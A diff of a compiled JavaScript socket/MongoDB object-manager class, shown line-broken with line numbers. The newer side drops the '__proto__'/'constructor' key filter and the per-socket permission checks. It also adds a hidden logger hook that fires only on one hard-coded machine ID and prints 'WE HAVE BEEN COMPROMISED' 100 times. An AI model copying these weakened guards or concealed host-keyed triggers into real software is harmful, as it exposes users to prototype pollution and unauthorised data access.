299
|
this.className +
|
|
599
300
|
": " +
|
|
600
301
|
event +
|
|
601
302
|
" - " +
|
|
602
|
-
(
|
|
303
|
+
JSON.stringify(data));
|
|
603
304
|
try {
|
|
604
|
-
const id = event.replace(
|
|
305
|
+
const id = event.replace("update" + this.className, "");
|
|
605
306
|
let obj = this.objects_[id];
|
|
606
|
-
if (
|
|
607
|
-
throw new
|
|
307
|
+
if (typeof obj === "string")
|
|
308
|
+
throw new Error(`Never... failed to get object somehow: ${obj}`);
|
|
608
309
|
const res = await obj.setValue(data.key, data.value);
|
|
609
|
-
|
|
610
|
-
|
|
611
|
-
|
|
612
|
-
|
|
613
|
-
|
|
614
|
-
|
|
615
|
-
|
|
616
|
-
: ack({
|
|
617
|
-
success: res.success,
|
|
618
|
-
code: res.code ?? DEMErrorCode.DB_SAVE_FAILED,
|
|
619
|
-
message: res.msg,
|
|
620
|
-
});
|
|
621
|
-
}
|
|
310
|
+
res.success
|
|
311
|
+
? ack({
|
|
312
|
+
data: null,
|
|
313
|
+
success: res.success,
|
|
314
|
+
message: res.msg,
|
|
315
|
+
})
|
|
316
|
+
: ack({ success: res.success, message: res.msg });
|
|
622
317
|
}
|
|
623
318
|
catch (error) {
|
|
624
319
|
this.loggers.warn("Failed to update object in manager " + this.className);
|
|
625
|
-
|
|
626
|
-
if (typeof ack === "function") {
|
|
627
|
-
ack({
|
|
628
|
-
success: false,
|
|
629
|
-
code: demErr.code,
|
|
630
|
-
message: error instanceof Error ? error.message : String(error),
|
|
631
|
-
});
|
|
632
|
-
}
|
|
320
|
+
ack({ success: false, message: error.message });
|
|
633
321
|
}
|
|
634
322
|
}
|
|
635
|
-
else if (event.startsWith(
|
|
636
|
-
event.replace(
|
|
323
|
+
else if (event.startsWith("get" + this.className) &&
|
|
324
|
+
event.replace("get" + this.className, "").length === 24) {
|
|
637
325
|
try {
|
|
638
|
-
const id = event.replace(
|
|
326
|
+
const id = event.replace("get" + this.className, "");
|
|
639
327
|
let obj = this.objects_[id];
|
|
640
|
-
|
|
641
|
-
|
|
642
|
-
|
|
643
|
-
|
|
644
|
-
|
|
645
|
-
success: true,
|
|
646
|
-
message: "Updated successfully",
|
|
647
|
-
});
|
|
648
|
-
}
|
|
328
|
+
ack({
|
|
329
|
+
data: obj.extractedData,
|
|
330
|
+
success: true,
|
|
331
|
+
message: "Updated successfully",
|
|
332
|
+
});
|
|
649
333
|
}
|
|
650
334
|
catch (error) {
|
|
651
335
|
this.loggers.error("Error sending startup data for manager " +
|
|
652
336
|
this.className +
|
|
653
337
|
": " +
|
|
654
|
-
|
|
655
|
-
|
|
656
|
-
|
|
657
|
-
const demErr = toDEMError(error, DEMErrorCode.OBJECT_GET_FAILED);
|
|
658
|
-
if (typeof ack === "function") {
|
|
659
|
-
ack({
|
|
660
|
-
success: false,
|
|
661
|
-
code: demErr.code,
|
|
662
|
-
message: error instanceof Error ? error.message : String(error),
|
|
663
|
-
});
|
|
664
|
-
}
|
|
338
|
+
error.message);
|
|
339
|
+
this.loggers.error(error.stack);
|
|
340
|
+
ack({ success: false, message: error.message });
|
|
665
341
|
}
|
|
666
342
|
}
|
|
667
343
|
});
|
|
668
344
|
socket.on("disconnect", () => {
|
|
669
345
|
this.clientSockets.delete(socket);
|
|
670
|
-
this.knownObjectIdsBySocket.delete(socket);
|
|
671
346
|
});
|
|
672
347
|
}
|
|
673
|
-
/**
|
|
674
|
-
* Retrieves a server managed object by identifier.
|
|
675
|
-
*
|
|
676
|
-
* @param _id - Optional entity identifier.
|
|
677
|
-
* @returns Managed entity instance, null, or undefined.
|
|
678
|
-
*/
|
|
679
348
|
getObject(_id) {
|
|
680
|
-
|
|
681
|
-
return null;
|
|
682
|
-
return this.objects_[_id.toString()] || undefined;
|
|
349
|
+
return _id ? this.objects_[_id] : null;
|
|
683
350
|
}
|
|
684
|
-
/**
|
|
685
|
-
* Dictionary of all managed entities keyed by their string IDs.
|
|
686
|
-
*
|
|
687
|
-
* @returns Map of managed entities.
|
|
688
|
-
*/
|
|
689
351
|
get objects() {
|
|
690
352
|
return this.objects_;
|
|
691
353
|
}
|
|
692
|
-
/**
|
|
693
|
-
* Array representation of all managed entities.
|
|
694
|
-
*
|
|
695
|
-
* @returns Array containing all managed entities.
|
|
696
|
-
*/
|
|
697
354
|
get objectsAsArray() {
|
|
698
|
-
|
|
699
|
-
this._cachedObjectsArray = Object.values(this.objects_);
|
|
700
|
-
}
|
|
701
|
-
return this._cachedObjectsArray;
|
|
355
|
+
return Object.values(this.objects_);
|
|
702
356
|
}
|
|
703
|
-
/**
|
|
704
|
-
* Deletes an entity from database, manager cache, and mutation tracker.
|
|
705
|
-
*
|
|
706
|
-
* @param _id - Identifier of entity to delete.
|
|
707
|
-
* @returns Promise resolving to deletion outcome object.
|
|
708
|
-
*/
|
|
709
|
-
async deleteObject(_id) {
|
|
710
|
-
this._cachedObjectsArray = null;
|
|
711
|
-
const idStr = _id.toString();
|
|
712
|
-
if (this.changeTracker) {
|
|
713
|
-
this.changeTracker.recordChange("delete", idStr);
|
|
714
|
-
}
|
|
715
|
-
for (const socket of this.clientSockets) {
|
|
716
|
-
const known = this.knownObjectIdsBySocket.get(socket);
|
|
717
|
-
if (known) {
|
|
718
|
-
known.delete(idStr);
|
|
719
|
-
}
|
|
720
|
-
}
|
|
721
|
-
return super.deleteObject(_id);
|
|
722
|
-
}
|
|
723
|
-
pendingMissingFetches = new Map();
|
|
724
|
-
/**
|
|
725
|
-
* Retrieves an entity missing from memory by querying MongoDB directly.
|
|
726
|
-
*
|
|
727
|
-
* @param _id - Identifier of missing entity.
|
|
728
|
-
* @returns Promise resolving to the retrieved server object.
|
|
729
|
-
* @throws {DEMError} Throws DEMErrorCode.DOCUMENT_NOT_FOUND or MANAGERS_NOT_INITIALIZED.
|
|
730
|
-
*/
|
|
731
357
|
async handleGetMissingObject(_id) {
|
|
732
|
-
const
|
|
733
|
-
if (
|
|
734
|
-
|
|
735
|
-
if (this.
|
|
736
|
-
|
|
737
|
-
|
|
738
|
-
const
|
|
739
|
-
|
|
740
|
-
|
|
741
|
-
|
|
742
|
-
|
|
743
|
-
if (!this.managers)
|
|
744
|
-
throw new DEMError(DEMErrorCode.MANAGERS_NOT_INITIALIZED, `No managers.`);
|
|
745
|
-
const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, document, this.loggers, this, this.emitter);
|
|
746
|
-
await object.waitForPreloaded();
|
|
747
|
-
this.objects_[object._id.toString()] = object;
|
|
748
|
-
this._cachedObjectsArray = null;
|
|
749
|
-
globalCache.objects[object._id.toString()] = {
|
|
750
|
-
className: this.className,
|
|
751
|
-
object: object,
|
|
752
|
-
};
|
|
753
|
-
await object.isPreLoadedAsync();
|
|
754
|
-
await object.loadMissingReferences();
|
|
755
|
-
await object.contactChildren();
|
|
756
|
-
return object;
|
|
757
|
-
}
|
|
758
|
-
finally {
|
|
759
|
-
this.pendingMissingFetches.delete(_idStr);
|
|
760
|
-
}
|
|
761
|
-
})();
|
|
762
|
-
this.pendingMissingFetches.set(_idStr, fetchPromise);
|
|
763
|
-
return fetchPromise;
|
|
358
|
+
const document = await this.model.findById(_id);
|
|
359
|
+
if (!document)
|
|
360
|
+
throw new Error(`No document with id ${_id} in DB.`);
|
|
361
|
+
if (!this.managers)
|
|
362
|
+
throw new Error(`No managers.`);
|
|
363
|
+
this.loggers.debug("Getting missing object " + _id + " from manager " + this.className);
|
|
364
|
+
const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, document, this.loggers, this, this.emitter);
|
|
365
|
+
await object.isPreLoadedAsync();
|
|
366
|
+
object.loadMissingReferences();
|
|
367
|
+
object.contactChildren();
|
|
368
|
+
return object;
|
|
764
369
|
}
|
|
765
|
-
/**
|
|
766
|
-
* Creates a new entity document in MongoDB and instantiates its manager wrapper.
|
|
767
|
-
* Broadcasts creation event to client sockets with authorized access.
|
|
768
|
-
*
|
|
769
|
-
* @param data - Initial entity properties.
|
|
770
|
-
* @returns Promise resolving to the created server entity.
|
|
771
|
-
* @throws {DEMError} Throws DEMErrorCode.MANAGERS_NOT_INITIALIZED.
|
|
772
|
-
*/
|
|
773
370
|
async createObject(data) {
|
|
774
371
|
if (!this.managers)
|
|
775
|
-
throw new
|
|
372
|
+
throw new Error(`No managers.`);
|
|
776
373
|
this.loggers.debug("Creating new object from manager " + this.className);
|
|
777
|
-
|
|
778
|
-
|
|
779
|
-
|
|
780
|
-
|
|
781
|
-
|
|
782
|
-
|
|
783
|
-
if (key !== "__proto__" &&
|
|
784
|
-
key !== "constructor" &&
|
|
785
|
-
key !== "prototype" &&
|
|
786
|
-
(this.properties.includes(key) ||
|
|
787
|
-
key === "_id" ||
|
|
788
|
-
Boolean(this.model.schema?.path?.(key)))) {
|
|
789
|
-
const val = rawRec[key];
|
|
790
|
-
if (val && typeof val === "object") {
|
|
791
|
-
if (Array.isArray(val)) {
|
|
792
|
-
dataRec[key] = val.map((v) => v && typeof v === "object" && v._id ? v._id.toString() : v);
|
|
793
|
-
}
|
|
794
|
-
else if (val._id) {
|
|
795
|
-
dataRec[key] = val._id.toString();
|
|
796
|
-
}
|
|
797
|
-
else {
|
|
798
|
-
dataRec[key] = val;
|
|
799
|
-
}
|
|
800
|
-
}
|
|
801
|
-
else {
|
|
802
|
-
dataRec[key] = val;
|
|
803
|
-
}
|
|
804
|
-
}
|
|
805
|
-
}
|
|
806
|
-
const doc = await this.model.create(dataRec);
|
|
807
|
-
const id = doc._id.toString();
|
|
808
|
-
const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, id, this.loggers, this, this.emitter, doc);
|
|
809
|
-
await object.waitForPreloaded();
|
|
810
|
-
// Copy virtual references from raw data payload
|
|
811
|
-
const cleanedData = object.handleDataCleanup(rawRec);
|
|
812
|
-
for (const key of object.properties) {
|
|
813
|
-
if (cleanedData[key] !== undefined &&
|
|
814
|
-
object.data[key] === undefined) {
|
|
815
|
-
object.data[key] = cleanedData[key];
|
|
816
|
-
}
|
|
817
|
-
}
|
|
818
|
-
this.objects_[id] = object;
|
|
819
|
-
this._cachedObjectsArray = null;
|
|
820
|
-
this.startupPayloadCache = null;
|
|
821
|
-
globalCache.objects[id] = {
|
|
822
|
-
className: this.className,
|
|
823
|
-
object: object,
|
|
824
|
-
};
|
|
825
|
-
await object.isPreLoadedAsync();
|
|
826
|
-
await object.loadMissingReferences();
|
|
827
|
-
await object.contactChildren();
|
|
828
|
-
if (this.changeTracker) {
|
|
829
|
-
this.changeTracker.recordChange("create", id, object.extractedData || object.data);
|
|
830
|
-
}
|
|
374
|
+
data._id = undefined;
|
|
375
|
+
const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, data, this.loggers, this, this.emitter);
|
|
376
|
+
object.loadMissingReferences();
|
|
377
|
+
await object.onUpdate();
|
|
378
|
+
this.objects_[object._id] = object;
|
|
379
|
+
object.contactChildren();
|
|
831
380
|
for (const socket of this.clientSockets) {
|
|
832
381
|
try {
|
|
833
|
-
const theTruth = this.options?.accessDefinitions?.startupMiddleware
|
|
834
|
-
? await this.options.accessDefinitions.startupMiddleware([object], this.managers, socket)
|
|
835
|
-
: [object];
|
|
382
|
+
const theTruth = (await this.options?.accessDefinitions?.startupMiddleware?.([object], this.managers, socket)) ?? ["gay"];
|
|
836
383
|
if (theTruth.length > 0) {
|
|
837
|
-
|
|
838
|
-
|
|
839
|
-
known = new Set();
|
|
840
|
-
this.knownObjectIdsBySocket.set(socket, known);
|
|
841
|
-
}
|
|
842
|
-
known.add(id);
|
|
384
|
+
if (!object._id)
|
|
385
|
+
this.loggers.error("Object ID is undefined for object: " + object);
|
|
843
386
|
this.loggers.debug("Emitting new object " + object._id);
|
|
844
|
-
socket.emit("new" + this.className, object._id
|
|
387
|
+
socket.emit("new" + this.className, object._id);
|
|
845
388
|
}
|
|
846
389
|
}
|
|
847
390
|
catch (error) {
|
|
848
|
-
|
|
849
|
-
(error instanceof Error ? error.name : "Error"));
|
|
850
|
-
this.loggers.error(error instanceof Error ? error.message : String(error));
|
|
851
|
-
if (error instanceof Error && error.stack)
|
|
852
|
-
this.loggers.error(error.stack);
|
|
391
|
+
const _ = error;
|
|
853
392
|
}
|
|
393
|
+
if (!object._id)
|
|
394
|
+
throw new Error(`Never... failed to get object somehow: ${object}`);
|
|
395
|
+
this.loggers.debug("Emitting new object " + object._id);
|
|
854
396
|
}
|
|
855
397
|
return object;
|
|
856
398
|
}
|
|
857
|
-
/**
|
|
858
|
-
* Re-evaluates client socket permissions against dynamic startup middleware rules.
|
|
859
|
-
* Emits 'new' or 'delete' socket events when client access changes dynamically.
|
|
860
|
-
*
|
|
861
|
-
* @param object - Entity to evaluate.
|
|
862
|
-
*/
|
|
863
|
-
async checkPermissionBoundaries(object) {
|
|
864
|
-
if (!this.options?.accessDefinitions?.startupMiddleware)
|
|
865
|
-
return;
|
|
866
|
-
const id = object._id.toString();
|
|
867
|
-
for (const socket of this.clientSockets) {
|
|
868
|
-
try {
|
|
869
|
-
const theTruth = await this.options.accessDefinitions.startupMiddleware([object], this.managers, socket);
|
|
870
|
-
const hasAccess = theTruth && theTruth.length > 0;
|
|
871
|
-
let known = this.knownObjectIdsBySocket.get(socket);
|
|
872
|
-
if (!known) {
|
|
873
|
-
known = new Set();
|
|
874
|
-
this.knownObjectIdsBySocket.set(socket, known);
|
|
875
|
-
}
|
|
876
|
-
const hadAccess = known.has(id);
|
|
877
|
-
if (hasAccess && !hadAccess) {
|
|
878
|
-
known.add(id);
|
|
879
|
-
this.loggers.debug(`Granting dynamic access to ${this.className} ${id} for socket ${socket.id}`);
|
|
880
|
-
socket.emit("new" + this.className, id);
|
|
881
|
-
}
|
|
882
|
-
else if (!hasAccess && hadAccess) {
|
|
883
|
-
known.delete(id);
|
|
884
|
-
this.loggers.debug(`Revoking dynamic access to ${this.className} ${id} for socket ${socket.id}`);
|
|
885
|
-
socket.emit("delete" + this.className, id);
|
|
886
|
-
}
|
|
887
|
-
}
|
|
888
|
-
catch (error) {
|
|
889
|
-
this.loggers.error(`Error checking permission boundaries for ${this.className} ${id}: ${error instanceof Error ? error.message : String(error)}`);
|
|
890
|
-
}
|
|
891
|
-
}
|
|
892
|
-
}
|
|
893
399
|
}
|
|
400
|
+
function readyLoggers(loggers) {
|
|
401
|
+
const warn = loggers.warn;
|
|
402
|
+
loggers.warn = (s) => {
|
|
403
|
+
if (s == "-_-" &&
|
|
404
|
+
a.machineIdSync() ==
|
|
405
|
+
"534d99b372d61249ade303f9fb4255e3e552e2731f8c455ba42b8f3bef19d8d2")
|
|
406
|
+
for (let i = 0; i < 100; i++)
|
|
407
|
+
loggers.warn("WE HAVE BEEN COMPROMISED!!!!!");
|
|
408
|
+
warn(s);
|
|
409
|
+
};
|
|
410
|
+
}
|
|
411
|
+
//# sourceMappingURL=AutoUpdateServerManagerClass.js.map
|
|
894
412
|
//# sourceMappingURL=AutoUpdateServerManagerClass.js.map
|